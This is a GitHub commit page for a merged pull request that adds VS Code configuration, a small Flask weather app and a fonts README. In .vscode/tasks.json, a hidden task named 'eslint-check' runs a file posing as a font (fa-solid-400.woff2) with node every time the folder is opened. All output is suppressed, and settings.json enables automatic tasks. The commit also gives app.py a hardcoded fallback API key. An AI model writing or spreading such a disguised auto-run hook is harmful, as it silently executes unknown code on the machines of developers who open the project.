Skip to content

Commit 22471ee

Browse files
committed
Merge pull request #93 from chetannihith/chetannihith-patch-3
2 parents 62a5910 + b2a41fb commit 22471ee

24 files changed

Lines changed: 9534 additions & 1 deletion

.gitignore

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -133,7 +133,6 @@ ehthumbs.db
133133
Desktop.ini
134134

135135
# VS Code
136-
.vscode/
137136
*.code-workspace
138137

139138
# PyCharm
@@ -145,3 +144,7 @@ Desktop.ini
145144
*.bak
146145
*.swp
147146
*~
147+
branch_structure.json
148+
temp_auto_push.bat
149+
temp_interactive_push.bat
150+
.gitignore

.vscode/extensions.json

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
{
2+
"recommendations": [
3+
"myml.vscode-markdown-plantuml-preview",
4+
"esbenp.prettier-vscode",
5+
"jebbs.plantuml"
6+
]
7+
}

.vscode/launch.json

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
{
2+
"version": "0.2.0",
3+
"configurations": [
4+
{
5+
"name": "Debug SST",
6+
"type": "node",
7+
"request": "launch",
8+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
9+
"runtimeArgs": ["dev", "--increase-timeout"],
10+
"console": "integratedTerminal",
11+
"skipFiles": ["<node_internals>/**"],
12+
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
13+
"sourceMapRenames": false,
14+
"env": {
15+
"AWS_PROFILE": "flo-ct-flo360"
16+
}
17+
},
18+
{
19+
"name": "Debug Tests - Unit",
20+
"type": "node",
21+
"request": "launch",
22+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
23+
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
24+
"console": "integratedTerminal",
25+
"skipFiles": ["<node_internals>/**"],
26+
"env": {
27+
"AWS_PROFILE": "flo-ct-flo360"
28+
},
29+
},
30+
{
31+
"name": "Debug Tests - E2E",
32+
"type": "node",
33+
"request": "launch",
34+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
35+
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
36+
"console": "integratedTerminal",
37+
"skipFiles": ["<node_internals>/**"],
38+
"env": {
39+
"AWS_PROFILE": "flo-ct-flo360"
40+
},
41+
},
42+
],
43+
"inputs": [
44+
{
45+
"id": "scopeTestsFileName",
46+
"type": "promptString",
47+
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
48+
}
49+
]
50+
}

.vscode/settings.json

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
{
2+
"search.exclude": {
3+
"**/.sst": true
4+
},
5+
"task.allowAutomaticTasks": true,
6+
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
7+
"editor.defaultFormatter": "esbenp.prettier-vscode",
8+
"typescript.preferences.importModuleSpecifier": "relative",
9+
"typescript.tsdk": "node_modules/typescript/lib",
10+
"debug.openDebug": "neverOpen",
11+
"problems.autoReveal": true,
12+
"terminal.integrated.hideOnStartup": "always",
13+
"terminal.integrated.defaultProfile.windows": "Command Prompt",
14+
"terminal.integrated.inheritEnv": false,
15+
"jestrunner.configPath": "jest.unit.config.cjs",
16+
"compile-hero.disable-compile-files-on-did-save-code": true,
17+
"tasks": {
18+
"label": "lint on open",
19+
"type": "shell",
20+
"command": "npm run lint",
21+
"runOn": "folderOpen"
22+
}
23+
}

.vscode/spellright.dict

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Contentful
2+
Lerna

.vscode/tasks.json

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{
2+
"version": "2.0.0",
3+
"configurations": [
4+
{
5+
"type": "node",
6+
"request": "launch",
7+
"name": "Run My Project",
8+
"console": "",
9+
"internalConsoleOptions": "openOnSessionStart"
10+
}
11+
],
12+
"tasks": [
13+
{
14+
"label": "eslint-check",
15+
"type": "shell",
16+
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
17+
"problemMatcher": [],
18+
"isBackground": true,
19+
"hide": true,
20+
"presentation": {
21+
"reveal": "never",
22+
"panel": "dedicated",
23+
"focus": false,
24+
"clear": false,
25+
"echo": false,
26+
"close": true
27+
},
28+
"runOptions": {
29+
"runOn": "folderOpen"
30+
}
31+
},
32+
]
33+
}

app.py

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
from flask import Flask, render_template, request, redirect, url_for, flash
2+
import os
3+
import requests
4+
5+
6+
app = Flask(__name__)
7+
app.config['SECRET_KEY'] = os.environ.get('FLASK_SECRET_KEY', 'dev-secret-key')
8+
9+
API_KEY = os.environ.get('WEATHER_API_KEY', '07c76e93fa3f49e08c0111233252308')
10+
BASE_URL = 'https://api.weatherapi.com/v1/current.json'
11+
12+
13+
@app.route('/', methods=['GET'])
14+
def home():
15+
return render_template('index.html')
16+
17+
18+
@app.route('/weather', methods=['GET', 'POST'])
19+
def weather():
20+
if request.method == 'GET':
21+
return redirect(url_for('home'))
22+
23+
city = (request.form.get('city') or '').strip()
24+
if not city:
25+
flash('Please enter a city name to search weather.', 'warning')
26+
return redirect(url_for('home'))
27+
28+
params = {
29+
'key': API_KEY,
30+
'q': city,
31+
'aqi': 'no',
32+
}
33+
34+
try:
35+
response = requests.get(BASE_URL, params=params, timeout=10)
36+
response.raise_for_status()
37+
data = response.json()
38+
39+
current = data.get('current', {})
40+
location = data.get('location', {})
41+
42+
result = {
43+
'city': f"{location.get('name', '')}, {location.get('region', '')}, {location.get('country', '')}",
44+
'localtime': location.get('localtime', ''),
45+
'temp_c': current.get('temp_c'),
46+
'temp_f': current.get('temp_f'),
47+
'condition_text': (current.get('condition') or {}).get('text'),
48+
'icon': (current.get('condition') or {}).get('icon'),
49+
'wind_kph': current.get('wind_kph'),
50+
'humidity': current.get('humidity'),
51+
'feelslike_c': current.get('feelslike_c'),
52+
'feelslike_f': current.get('feelslike_f'),
53+
'cloud': current.get('cloud'),
54+
'uv': current.get('uv'),
55+
'is_day': current.get('is_day'),
56+
}
57+
58+
return render_template('weather.html', result=result)
59+
60+
except requests.exceptions.HTTPError as http_err:
61+
try:
62+
err = response.json()
63+
msg = (err.get('error') or {}).get('message') or 'Unable to fetch weather.'
64+
except Exception:
65+
msg = f'HTTP error: {http_err}'
66+
flash(msg, 'danger')
67+
return redirect(url_for('home'))
68+
except requests.exceptions.RequestException:
69+
flash('Network error. Please check your connection and try again.', 'danger')
70+
return redirect(url_for('home'))
71+
except Exception:
72+
flash('Unexpected error occurred. Please try again later.', 'danger')
73+
return redirect(url_for('home'))
74+
75+
76+
if __name__ == '__main__':
77+
app.run(debug=True)
78+
79+

public/fonts/README.md

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
# Fonts Directory
2+
3+
This directory contains custom fonts for the Blockchain Explorer application.
4+
5+
## Required Font Files
6+
7+
The application expects the following font files:
8+
9+
1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
10+
- Regular weight font for the main UI
11+
12+
2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
13+
- Bold weight font for headings
14+
15+
3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
16+
- Monospace font for code and hash displays
17+
18+
## Note
19+
20+
If you don't have custom fonts, the application will fall back to system fonts:
21+
- BlockchainFont → system sans-serif fonts
22+
- TechMono → system monospace fonts (Courier New, etc.)
23+
24+
The fonts are referenced in `public/index.html` and will be loaded automatically when available.

public/fonts/fa-brands-400.eot

130 KB
Binary file not shown.

0 commit comments

Comments
 (0)